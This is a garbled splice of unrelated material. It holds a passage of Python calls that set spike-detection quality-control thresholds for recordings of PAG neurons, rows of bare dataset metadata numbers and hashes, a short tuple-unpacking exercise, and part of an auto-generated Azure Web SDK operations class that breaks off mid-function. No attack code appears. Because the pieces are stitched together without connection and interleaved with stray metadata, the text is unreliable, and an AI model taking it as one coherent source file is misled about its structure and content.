QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201105_c8_LDIBI_OP_VC_clear_nointerval_2 # prominence (53-150), peak (-150-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -10, QC_lb_min = 5, QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = float('inf') ) # dmpag_vgat_201125_c3_LDIBK_OP_VC_clear_nointerval_2 # prominence (45-85), peak (-75-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 2.9, QC_pw_max = 9, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201125_c6_LDIBN_OP_VC_clear_nointerval_1 # prominence (100-400), peak (-350-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201125_c8_LDIBP_OP_VC_clear_nointerval_1 # prominence (125-250), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201125_c9_LDIBQ_OP_VC_clear_nointerval_1 # prominence (42-100), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 12, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -25, QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201201_c3_LDIBV_OP_VC_clear_nointerval_1 # prominence (50-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201201_c4_LDIBW_OP_VC_clear_nointerval_3 # prominence (45-150), peak (-150-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201202_c4_LDIBZ_OP_VC_clear_nointerval_2 # prominence (70-170), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3.5, QC_pw_max = 7.5, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -40, QC_lb_min = 5, QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = float('inf') ) # dmpag_vgat_201203_c2_LDICD_OP_VC_clear_nointerval_1 # prominence (35-55), peak (-50-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 6.5, QC_pw_max = 25, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 8, QC_lb_max = float('inf'), QC_rb_min = 6, QC_rb_max = float('inf') ) # dmpag_vgat_201203_c4_LDICF_OP_VC_clear_nointerval_1 # prominence (80-253), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3.75, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 6, QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = 25 ) # dmpag_vgat_201203_c7_LDICI_OP_VC_clear_nointerval_1 # prominence (100-250), peak (-250-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201203_c8_LDICJ_OP_VC_clear_nointerval_2 # prominence (79-270), peak (-250-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 5.5, QC_pw_max = 13, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = 7.5, QC_rb_max = float('inf') ) # dmpag_vgat_201215_c2_LDICK_OP_VC_clear_nointerval_1 # prominence (170-500), peak (-400-100) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4.1, QC_pw_max = 8, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 6, QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201215_c5_LDICN_OP_VC_clear_nointerval_3 # prominence (80-190), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 6.05, QC_pw_max = 25, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201215_c8_LDICQ_OP_VC_clear_nointerval_1 # prominence (80-180), peak (-300-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201216_c4_LDICS_OP_VC_clear_nointerval_2 # prominence (40-100), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 15, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = 0, QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201216_c5_LDICT_OP_VC_clear_nointerval_1 # prominence (80-125), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 25, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = 0, QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) ##### lpag ##### # lpag_vgat_201125_c4_LDIBL_OP_VC_clear_nointerval_1 # prominence (55, 120), peak (-150, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3.6, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # lpag_vgat_201125_c7_LDIBO_OP_VC_clear_nointerval_1 # prominence (100, 180), peak (-200, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # lpag_vgat_201201_c6_LDIBY_OP_VC_clear_nointerval_3 # prominence (43, 90), peak (-100, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4.5, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = float('inf') ) # lpag_vgat_201203_c6_LDICH_OP_VC_clear_nointerval_1 # prominence (50, 150), peak (-85, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = 15, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # lpag_vgat_201215_c4_LDICM_OP_VC_clear_nointerval_1 # prominence (135, 300), peak (-300, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -100, QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) ##### vlpag ##### # vlpag_vgat_190123_c1_LDIAE_OP_VC_clear_nointerval_2 # prominence (80, 160), peak (-150, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # vlpag_vgat_201202_c6_LDICB_OP_VC_clear_nointerval_1 # prominence (100, 250), peak (-200, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 7, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -90, QC_lb_min = 9, QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # vlpag_vgat_201203_c3_LDICE_OP_VC_clear_nointerval_1 # prominence (55, 125), peak (-100, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 5, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 6, QC_lb_max = float('inf'), QC_rb_min = 6, QC_rb_max = float('inf') ) # vlpag_vgat_201215_c6_LDICO_OP_VC_clear_nointerval_2 # prominence (60, 120), peak (-150, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # vlpag_vgat_201215_c7_LDICP_OP_VC_clear_nointerval_1 # prominence (140, 400), peak (-350, 0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = 6, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') )

47.932862

98

0.662121

6,826

40,695

3.49751

0.025051

0.221496

0.256765

0.174793

0.964732

0.937254

0.905294

0.896121

0.893357

0

0.033306

0.161863

40,695

849

99

47.932862

0.666647

0.119056

0

0.85119

0

0.084932

0

1

0

true

0

null

1

0

1

0

null

0

1

0

11

0ef889d546ce9a9ccad81473172d2a7012521b5a

80

py

Python

Personal tuitorials at Home/next.py

thepros847/python_programiing

d177f79d0d1f21df434bf3f8663ae6469fcf8357

[ "MIT" ]

null

Personal tuitorials at Home/next.py

thepros847/python_programiing

d177f79d0d1f21df434bf3f8663ae6469fcf8357

[ "MIT" ]

null

Personal tuitorials at Home/next.py

thepros847/python_programiing

d177f79d0d1f21df434bf3f8663ae6469fcf8357

[ "MIT" ]

null

i, j = ( 3, 9 ) print(i, j) for i, j in[(1, 2), (3, 4), (5, 6)]: print(i, j)

13.333333

36

0.3875

20

80

1.55

0.6

0.258065

0.451613

0

0.140351

0.2875

80

5

37

16

0.403509

0

0.5

0

1

0

true

0

0.5

1

0

1

null

1

0

1

0

1

0

null

0

1

0

1

0

8

1603b7ca7f6a2bab039ff151da4ec268931fdc08

37,167

py

Python

azure-mgmt-web/azure/mgmt/web/operations/global_model_operations.py

Berryliao84/Python-Azure

a96ed6e8bbf4290372980a2919b31110da90b164

[ "MIT" ]

1

2017-10-29T15:14:35.000Z

azure-mgmt-web/azure/mgmt/web/operations/global_model_operations.py

Berryliao84/Python-Azure

a96ed6e8bbf4290372980a2919b31110da90b164

[ "MIT" ]

null

azure-mgmt-web/azure/mgmt/web/operations/global_model_operations.py

Berryliao84/Python-Azure

a96ed6e8bbf4290372980a2919b31110da90b164

[ "MIT" ]

null

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse from msrestazure.azure_exceptions import CloudError import uuid from .. import models class GlobalModelOperations(object): """GlobalModelOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An objec model deserializer. """ def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def get_subscription_publishing_credentials( self, custom_headers=None, raw=False, **operation_config): """Gets publishing credentials for the subscription owner. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`User <azure.mgmt.web.models.User>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/publishingCredentials' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('User', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_subscription_publishing_credentials( self, request_message, custom_headers=None, raw=False, **operation_config): """Updates publishing credentials for the subscription owner. :param request_message: requestMessage with new publishing credentials :type request_message: :class:`User <azure.mgmt.web.models.User>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`User <azure.mgmt.web.models.User>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/publishingCredentials' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(request_message, 'User') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('User', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_subscription_geo_regions( self, sku=None, linux_workers_enabled=None, custom_headers=None, raw=False, **operation_config): """Gets list of available geo regions. :param sku: Filter only to regions that support this sku :type sku: str :param linux_workers_enabled: Filter only to regions that support linux workers :type linux_workers_enabled: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`GeoRegionPaged <azure.mgmt.web.models.GeoRegionPaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/geoRegions' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if sku is not None: query_parameters['sku'] = self._serialize.query("sku", sku, 'str') if linux_workers_enabled is not None: query_parameters['linuxWorkersEnabled'] = self._serialize.query("linux_workers_enabled", linux_workers_enabled, 'bool') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.GeoRegionPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.GeoRegionPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_all_certificates( self, custom_headers=None, raw=False, **operation_config): """Get all certificates for a subscription. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificatePaged <azure.mgmt.web.models.CertificatePaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/certificates' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.CertificatePaged(internal_paging, self._deserialize.dependencies) if raw: 